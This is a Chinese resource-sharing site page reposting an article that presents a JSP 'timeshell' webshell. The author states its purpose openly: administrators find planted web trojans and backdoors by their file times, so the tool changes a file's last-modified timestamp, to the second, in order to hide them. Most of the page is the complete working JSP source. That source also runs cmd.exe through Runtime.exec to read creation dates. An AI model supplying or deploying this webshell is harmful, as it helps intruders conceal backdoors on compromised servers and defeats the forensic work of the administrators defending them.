也想出现在这里? 联系我们

JSP 修改文件时间的WEBSHELL

作者 : 小编 本文共3500个字,预计阅读时间需要9分钟 发布时间: 2021-06-19 共5.35K人阅读
也想出现在这里? 联系我们

JSP 修改文件时间的WEBSHELL 很多网站的管理员通过查看文件的修改时间定位被入侵后流下的网马与后门,因此修改文件的创建与修改时间可以有效的预防后门的泄露。 昨天研究了下,JSP只提供了修改“文件修改时间”的接口,却没有提供修改“文件创建时间”的接口,因此貌似只能修改“文件修改时间 ”,kj021320的JSP SHELL有这个功能,不过只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 运行不了kj021320的那个SHELL,于是决定自己写个小的shell! 主要功能: 1.文件的时间属性查看,包括修改时间与创建时间; 2.文件修改时间的修改,精确到秒; 代码如下: (Apache Tomcat/6.0.18下运行通过!)

复制代码

代码如下:

<%@ page import=\”java.io.*\” %> <%@ page import=\”java.util.*, java.text.*\” %> <%@ page language=\”java\” import=\”java.util.Enumeration\” contentType=\”text/html; charset=GB2312\”%> <html> <head> <title>JSP timeshell by oldjun</title> <meta http-equiv=\”Content-Type\” content=\”text/html; charset=gb2312\”></head> <body> <H1>JSP timeshell by oldjun</H1> <%! public static String getFileCreateDate(File _file) { File file = _file; try { Process ls_proc = Runtime.getRuntime().exec(\”cmd.exe /c dir \\\”\” + file.getAbsolutePath() + \”\\\” /tc\”); BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream())); for (int i = 0; i < 5; i++) { br.readLine(); } String stuff = br.readLine(); StringTokenizer st = new StringTokenizer(stuff); String dateC = st.nextToken(); String time = st.nextToken(); String datetime = dateC.concat(\” \”+time); br.close(); return datetime; } catch (Exception e) { return null; } } String folderReplace(String folder){ return folder.replace(\’\\\\\’,\’/\’); } %> <% String action = null; if (request.getParameter(\”action\”) == null) action = \”main\”; else action = (String)request.getParameter(\”action\”); if (action.equals(\”main\”)) { %> <form name= form1 method=\”post\” action=\”?action=getinfo\”> filepath:<input name=\”file\” type=\”text\” size=\”100\” />(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp) <input type=\”submit\” name=\”Button\” value=\”getinfo\”/> </form> <% }else if (action.equals(\”getinfo\”)) { String filepath = folderReplace(request.getParameter(\”file\”)); File file = new File(filepath); if(!file.exists()){ out.println(\”<script lanugage=\\\”javascript\\\”>alert(\\\”file:\”+filepath+\” not find!\\\”);history.back();</script>\”); } %> filepath: <%=filepath%> lastModifiedtime: <%=new Date(file.lastModified())%> Createtime: <% String Createtime=getFileCreateDate(file); out.println(Createtime); %> now: <% Date myDate = new Date(); out.println(myDate.toLocaleString()); %> <form name= form2 method=\”post\” action=\”?action=change\”> <input name=\”year\” type=\”text\” size=\”10\”/>year <input name=\”month\” type=\”text\” size=\”10\”/>month <input name=\”day\” type=\”text\” size=\”10\”/>day <input name=\”hour\” type=\”text\” size=\”10\”/>hour <input name=\”min\” type=\”text\” size=\”10\”/>minute <input name=\”sec\” type=\”text\” size=\”10\”/>second <input name=\”file\” type=\”hidden\” value=\”<%=filepath%>\” /> <input type=\”submit\” name=\”Button\” value=\”change\”/> </form> <% }else if (action.equals(\”change\”)) { String url=\”?action=main\”; String filepath = folderReplace(request.getParameter(\”file\”)); String year = request.getParameter(\”year\”); String month = request.getParameter(\”month\”); String day = request.getParameter(\”day\”); String hour = request.getParameter(\”hour\”); String min = request.getParameter(\”min\”); String sec = request.getParameter(\”sec\”); File file = new File(filepath); Calendar calendar=Calendar.getInstance(); calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec)); if(file.setLastModified(calendar.getTimeInMillis())) out.println(\”<script lanugage=\\\”javascript\\\”>alert(\\\”file date change success!\\\”);location.href=\\\”\”+url+\”\\\”;</script>\”); else out.println(\”<script lanugage=\\\”javascript\\\”>alert(\\\”time error!\\\”);history.back();</script>\”); } %> </body> </html>
1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » JSP 修改文件时间的WEBSHELL

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录